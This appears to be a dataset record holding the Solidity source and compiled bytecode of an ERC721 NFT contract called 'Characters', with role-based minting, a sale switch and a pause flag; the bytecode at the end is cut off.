7612719612a82565b1415612741575050604080518082019091526006815265507572706c6560d01b602082015290565b601082601681111561275557612755612a82565b141561278357505060408051808201909152600c81526b21b4ba3c90169023b932b2b760a11b602082015290565b601182601681111561279757612797612a82565b14156127c357505060408051808201909152600a81526910da5d1e480b4814995960b21b602082015290565b60128260168111156127d7576127d7612a82565b141561280057505060408051808201909152600781526629ba30ba34b7b760c91b602082015290565b601382601681111561281457612814612a82565b141561283c575050604080518082019091526006815265426f756e747960d01b602082015290565b601482601681111561285057612850612a82565b141561287a575050604080518082019091526008815267426c756520536b7960c01b602082015290565b601582601681111561288e5761288e612a82565b14156128b757505060408051808201909152600781526652656420536b7960c81b602082015290565b60168260168111156128cb576128cb612a82565b14156128f6575050604080518082019091526009815268477265656e20536b7960b81b602082015290565b60405162461bcd60e51b81526020600482015260126024820152711a5b9d985b1a5908189858dad9dc9bdd5b9960721b604482015260640161097f565b60006020828403121561294557600080fd5b81356020811061295457600080fd5b9392505050565b600060208083528351808285015260005b818110156129885785810183015185820160400152820161296c565b8181111561299a576000604083870101525b50601f01601f1916929092016040019392505050565b6000602082840312156129c257600080fd5b81356007811061295457600080fd5b6000602082840312156129e357600080fd5b81356010811061295457600080fd5b601581106129ff57600080fd5b50565b600060208284031215612a1457600080fd5b8135612954816129f2565b600060208284031215612a3157600080fd5b81356018811061295457600080fd5b600060208284031215612a5257600080fd5b81356008811061295457600080fd5b600060208284031215612a7357600080fd5b81356017811061295457600080fd5b634e487b7160e01b600052602160045260246000fdfea264697066735822122084d7ef1fef5bd29e0ff4b302f463477f73c7c82a949b9f251d3af3f372ef8f3e64736f6c63430008090033
|
{"success": true, "error": null, "results": {}}
| 5,951 |
0xd2894bb48ad2b274dfa23d375a409ccd009905de
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
event Mint(uint indexed index, address indexed minter);
event Withdraw(address indexed account, uint indexed amount);
event SaleIsStarted();
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override {
require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override {
require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
contract ERC721 is Context, ERC165,Ownable, AccessControl, IERC721, IERC721Metadata {
using Address for address;
using SafeMath for uint256;
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
string private _name;
string private _symbol;
string internal baseURI;
uint256 internal tokensSold = 0;
bool public _startSale = false;
uint256 constant MAX_SUPPLY = 10000;
mapping (uint256 => address) private _owners;
mapping (address => uint256) private _balances;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
mapping (uint256 => string) private _tokenURIs;
mapping (address => uint256[]) public tokensPerOwner;
mapping(address => uint256[]) internal ownerToIds;
mapping(uint256 => uint256) internal idToOwnerIndex;
constructor (string memory name_, string memory symbol_,string memory baseURI_) {
_name = name_;
_symbol = symbol_;
baseURI = baseURI_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165, AccessControl) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view returns (uint256) {
return tokensSold;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return string(abi.encodePacked(_baseURI(), toString(tokenId)));
}
function _baseURI() internal view virtual returns (string memory) {
return baseURI;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function _addNFToken(address _to, uint256 _tokenId) internal {
require(_owners[_tokenId] == address(0), "Cannot add, already owned.");
_owners[_tokenId] = _to;
ownerToIds[_to].push(_tokenId);
idToOwnerIndex[_tokenId] = ownerToIds[_to].length.sub(1);
}
function _removeNFToken(address _from, uint256 _tokenId) internal {
require(_owners[_tokenId] == _from, "Incorrect owner.");
delete _owners[_tokenId];
uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];
uint256 lastTokenIndex = ownerToIds[_from].length.sub(1);
if (lastTokenIndex != tokenToRemoveIndex) {
uint256 lastToken = ownerToIds[_from][lastTokenIndex];
ownerToIds[_from][tokenToRemoveIndex] = lastToken;
idToOwnerIndex[lastToken] = tokenToRemoveIndex;
}
ownerToIds[_from].pop();
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
tokensSold += 1;
tokensPerOwner[to].push(tokenId);
_addNFToken(to, tokenId);
emit Mint(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
function devMint(uint count, address recipient) external {
require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to change baseURI");
require(tokensSold+count <=10000, "The tokens limit has reached.");
for (uint i = 0; i < count; i++) {
uint256 _tokenId = tokensSold + 1;
_mint(recipient, _tokenId);
}
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
tokensPerOwner[owner].push(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_removeNFToken(from, tokenId);
_addNFToken(to, tokenId);
_balances[from] -= 1;
_balances[to] += 1;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
contract Characters is ERC721 {
using SafeMath for uint256;
bool private lock = false;
bool public contractPaused;
constructor() ERC721("Characters", "CHFTG", " https://character-generator.xyz/json/") {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
}
modifier nonReentrant {
require(!lock, "ReentrancyGuard: reentrant call");
lock = true;
_;
lock = false;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721) returns (bool) {
return super.supportsInterface(interfaceId);
}
function pauseContract(bool _paused) external {
require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to pause the contract");
contractPaused = _paused;
}
function setBaseURI(string memory newURI) public returns (bool) {
require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to change baseURI");
baseURI = newURI;
return true;
}
function getTokensByOwner(address _owner) public view returns (uint256[] memory){
return ownerToIds[_owner];
}
function startSale() external {
require(hasRole(MINTER_ROLE, _msgSender()), "You must have minter role to change baseURI");
require(!_startSale);
_startSale = true;
emit SaleIsStarted();
}
function birth()external nonReentrant returns(bool, uint){
require(!contractPaused);
require(_startSale, "The sale hasn't started.");
require(tokensSold+1 <=10000, "The tokens limit has reached.");
uint _tokenId = tokensSold + 1;
_mint(_msgSender(), _tokenId);
return (true,_tokenId);
}
}
|
0x608060405234801561001057600080fd5b50600436106102065760003560e01c80638a67456a1161011a578063b88d4fde116100ad578063d547741f1161007c578063d547741f1461046d578063e272b89214610480578063e985e9c514610493578063ef5793ce146104cf578063f2fde38b146104e257600080fd5b8063b88d4fde14610413578063c81ba8f014610426578063c87b56dd14610445578063d53913931461045857600080fd5b8063a217fddf116100e9578063a217fddf146103e3578063a22cb465146103eb578063b2918503146103fe578063b66a0e5d1461040b57600080fd5b80638a67456a146103a55780638da5cb5b146103b757806391d14854146103c857806395d89b41146103db57600080fd5b80632f2ff15d1161019d57806355f804b31161016c57806355f804b31461033d5780636352211e1461035057806370a0823114610363578063715018a61461037657806375b238fc1461037e57600080fd5b80632f2ff15d146102e457806336568abe146102f757806340398d671461030a57806342842e0e1461032a57600080fd5b806318160ddd116101d957806318160ddd1461028857806323b872dd1461029a578063248a9ca3146102ad5780632d1a12f6146102d157600080fd5b806301ffc9a71461020b57806306fdde0314610233578063081812fc14610248578063095ea7b314610273575b600080fd5b61021e610219366004611f87565b6104f5565b60405190151581526020015b60405180910390f35b61023b610506565b60405161022a91906120e1565b61025b610256366004611f4d565b610598565b6040516001600160a01b03909116815260200161022a565b610286610281366004611f0a565b610632565b005b6005545b60405190815260200161022a565b6102866102a8366004611e2d565b610748565b61028c6102bb366004611f4d565b6000908152600160208190526040909120015490565b6102866102df366004611f65565b610779565b6102866102f2366004611f65565b610847565b610286610305366004611f65565b6108d7565b61031d610318366004611de1565b610951565b60405161022a919061209d565b610286610338366004611e2d565b6109bd565b61021e61034b366004611fbf565b6109d8565b61025b61035e366004611f4d565b610a2a565b61028c610371366004611de1565b610aa1565b610286610b28565b61028c7fa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c2177581565b600f5461021e90610100900460ff1681565b6000546001600160a01b031661025b565b61021e6103d6366004611f65565b610b8e565b61023b610bb9565b61028c600081565b6102866103f9366004611ee1565b610bc8565b60065461021e9060ff1681565b610286610c8d565b610286610421366004611e68565b610d09565b61042e610d41565b60408051921515835260208301919091520161022a565b61023b610453366004611f4d565b610e9d565b61028c60008051602061231483398151915281565b61028661047b366004611f65565b610f54565b61028661048e366004611f33565b610fd5565b61021e6104a1366004611dfb565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205460ff1690565b61028c6104dd366004611f0a565b61106b565b6102866104f0366004611de1565b61109c565b600061050082611167565b92915050565b60606002805461051590612251565b80601f016020809104026020016040519081016040528092919081815260200182805461054190612251565b801561058e5780601f106105635761010080835404028352916020019161058e565b820191906000526020600020905b81548152906001019060200180831161057157829003601f168201915b5050505050905090565b6000818152600760205260408120546001600160a01b03166106165760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600960205260409020546001600160a01b031690565b600061063d82610a2a565b9050806001600160a01b0316836001600160a01b031614156106ab5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161060d565b336001600160a01b03821614806106c757506106c781336104a1565b6107395760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161060d565b61074383836111a7565b505050565b6107523382611215565b61076e5760405162461bcd60e51b815260040161060d90612191565b61074383838361130c565b61079160008051602061231483398151915233610b8e565b6107ad5760405162461bcd60e51b815260040161060d90612146565b612710826005546107be91906121e2565b111561080c5760405162461bcd60e51b815260206004820152601d60248201527f54686520746f6b656e73206c696d69742068617320726561636865642e000000604482015260640161060d565b60005b82811015610743576000600554600161082891906121e2565b905061083483826114a4565b508061083f8161228c565b91505061080f565b60008281526001602081905260409091200154610865905b33610b8e565b6108c95760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60448201526e0818591b5a5b881d1bc819dc985b9d608a1b606482015260840161060d565b6108d3828261164e565b5050565b6001600160a01b03811633146109475760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b606482015260840161060d565b6108d382826116b9565b6001600160a01b0381166000908152600d60209081526040918290208054835181840281018401909452808452606093928301828280156109b157602002820191906000526020600020905b81548152602001906001019080831161099d575b50505050509050919050565b61074383838360405180602001604052806000815250610d09565b60006109f260008051602061231483398151915233610b8e565b610a0e5760405162461bcd60e51b815260040161060d90612146565b8151610a21906004906020850190611ca6565b50600192915050565b6000818152600760205260408120546001600160a01b0316806105005760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161060d565b60006001600160a01b038216610b0c5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161060d565b506001600160a01b031660009081526008602052604090205490565b6000546001600160a01b03163314610b825760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161060d565b610b8c6000611720565b565b60009182526001602090815260408084206001600160a01b0393909316845291905290205460ff1690565b60606003805461051590612251565b6001600160a01b038216331415610c215760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161060d565b336000818152600a602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610ca560008051602061231483398151915233610b8e565b610cc15760405162461bcd60e51b815260040161060d90612146565b60065460ff1615610cd157600080fd5b6006805460ff191660011790556040517f3a40cba5bc9ba53b982e020c19f51fdf3b4e536da88b16beafe417447277536d90600090a1565b610d133383611215565b610d2f5760405162461bcd60e51b815260040161060d90612191565b610d3b84848484611770565b50505050565b600f54600090819060ff1615610d995760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161060d565b600f805460ff191660011790819055610100900460ff1615610dba57600080fd5b60065460ff16610e0c5760405162461bcd60e51b815260206004820152601860248201527f5468652073616c65206861736e277420737461727465642e0000000000000000604482015260640161060d565b6127106005546001610e1e91906121e2565b1115610e6c5760405162461bcd60e51b815260206004820152601d60248201527f54686520746f6b656e73206c696d69742068617320726561636865642e000000604482015260640161060d565b60006005546001610e7d91906121e2565b9050610e8933826114a4565b600192509050600f805460ff191690559091565b6000818152600760205260409020546060906001600160a01b0316610f1c5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b606482015260840161060d565b610f246117a3565b610f2d836117b2565b604051602001610f3e929190612031565b6040516020818303038152906040529050919050565b60008281526001602081905260409091200154610f709061085f565b6109475760405162461bcd60e51b815260206004820152603060248201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60448201526f2061646d696e20746f207265766f6b6560801b606482015260840161060d565b610fed60008051602061231483398151915233610b8e565b6110515760405162461bcd60e51b815260206004820152602f60248201527f596f75206d7573742068617665206d696e74657220726f6c6520746f2070617560448201526e1cd9481d1a194818dbdb9d1c9858dd608a1b606482015260840161060d565b600f80549115156101000261ff0019909216919091179055565b600c602052816000526040600020818154811061108757600080fd5b90600052602060002001600091509150505481565b6000546001600160a01b031633146110f65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161060d565b6001600160a01b03811661115b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161060d565b61116481611720565b50565b60006001600160e01b031982166380ac58cd60e01b148061119857506001600160e01b03198216635b5e139f60e01b145b806105005750610500826118cc565b600081815260096020526040902080546001600160a01b0319166001600160a01b03841690811790915581906111dc82610a2a565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600760205260408120546001600160a01b031661128e5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161060d565b600061129983610a2a565b9050806001600160a01b0316846001600160a01b031614806112d45750836001600160a01b03166112c984610598565b6001600160a01b0316145b8061130457506001600160a01b038082166000908152600a602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661131f82610a2a565b6001600160a01b0316146113875760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161060d565b6001600160a01b0382166113e95760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161060d565b6113f46000826111a7565b6113fe8382611901565b6114088282611aaa565b6001600160a01b038316600090815260086020526040812080546001929061143190849061220e565b90915550506001600160a01b038216600090815260086020526040812080546001929061145f9084906121e2565b909155505060405181906001600160a01b0380851691908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90600090a4505050565b6001600160a01b0382166114fa5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161060d565b6000818152600760205260409020546001600160a01b03161561155f5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161060d565b6001600160a01b03821660009081526008602052604081208054600192906115889084906121e2565b925050819055506001600560008282546115a291906121e2565b90915550506001600160a01b0382166000908152600c60209081526040822080546001810182559083529120018190556115dc8282611aaa565b6040516001600160a01b0383169082907ff3cea5493d790af0133817606f7350a91d7f154ea52eaa79d179d4d231e5010290600090a360405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6116588282610b8e565b6108d35760008281526001602081815260408084206001600160a01b0386168086529252808420805460ff19169093179092559051339285917f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d9190a45050565b6116c38282610b8e565b156108d35760008281526001602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61177b84848461130c565b61178784848484611b79565b610d3b5760405162461bcd60e51b815260040161060d906120f4565b60606004805461051590612251565b6060816117d65750506040805180820190915260018152600360fc1b602082015290565b8160005b811561180057806117ea8161228c565b91506117f99050600a836121fa565b91506117da565b60008167ffffffffffffffff81111561182957634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611853576020820181803683370190505b5090505b84156113045761186860018361220e565b9150611875600a866122a7565b6118809060306121e2565b60f81b8183815181106118a357634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506118c5600a866121fa565b9450611857565b60006001600160e01b03198216637965db0b60e01b148061050057506301ffc9a760e01b6001600160e01b0319831614610500565b6000818152600760205260409020546001600160a01b0383811691161461195d5760405162461bcd60e51b815260206004820152601060248201526f24b731b7b93932b1ba1037bbb732b91760811b604482015260640161060d565b600081815260076020908152604080832080546001600160a01b0319169055600e8252808320546001600160a01b0386168452600d9092528220549091906119a6906001611c86565b9050818114611a59576001600160a01b0384166000908152600d602052604081208054839081106119e757634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080600d6000876001600160a01b03166001600160a01b031681526020019081526020016000208481548110611a3957634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255918252600e9052604090208290555b6001600160a01b0384166000908152600d60205260409020805480611a8e57634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000818152600760205260409020546001600160a01b031615611b0f5760405162461bcd60e51b815260206004820152601a60248201527f43616e6e6f74206164642c20616c7265616479206f776e65642e000000000000604482015260640161060d565b600081815260076020908152604080832080546001600160a01b0319166001600160a01b038716908117909155808452600d83529083208054600181810183558286529385200185905592529054611b6691611c86565b6000918252600e60205260409091205550565b60006001600160a01b0384163b15611c7b57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611bbd903390899088908890600401612060565b602060405180830381600087803b158015611bd757600080fd5b505af1925050508015611c07575060408051601f3d908101601f19168201909252611c0491810190611fa3565b60015b611c61573d808015611c35576040519150601f19603f3d011682016040523d82523d6000602084013e611c3a565b606091505b508051611c595760405162461bcd60e51b815260040161060d906120f4565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611304565b506001949350505050565b600082821115611c9557600080fd5b611c9f828461220e565b9392505050565b828054611cb290612251565b90600052602060002090601f016020900481019282611cd45760008555611d1a565b82601f10611ced57805160ff1916838001178555611d1a565b82800160010185558215611d1a579182015b82811115611d1a578251825591602001919060010190611cff565b50611d26929150611d2a565b5090565b5b80821115611d265760008155600101611d2b565b600067ffffffffffffffff80841115611d5a57611d5a6122e7565b604051601f8501601f19908116603f01168101908282118183101715611d8257611d826122e7565b81604052809350858152868686011115611d9b57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611dcc57600080fd5b919050565b80358015158114611dcc57600080fd5b600060208284031215611df2578081fd5b611c9f82611db5565b60008060408385031215611e0d578081fd5b611e1683611db5565b9150611e2460208401611db5565b90509250929050565b600080600060608486031215611e41578081fd5b611e4a84611db5565b9250611e5860208501611db5565b9150604084013590509250925092565b60008060008060808587031215611e7d578081fd5b611e8685611db5565b9350611e9460208601611db5565b925060408501359150606085013567ffffffffffffffff811115611eb6578182fd5b8501601f81018713611ec6578182fd5b611ed587823560208401611d3f565b91505092959194509250565b60008060408385031215611ef3578182fd5b611efc83611db5565b9150611e2460208401611dd1565b60008060408385031215611f1c578182fd5b611f2583611db5565b946020939093013593505050565b600060208284031215611f44578081fd5b611c9f82611dd1565b600060208284031215611f5e578081fd5b5035919050565b600080604083850312156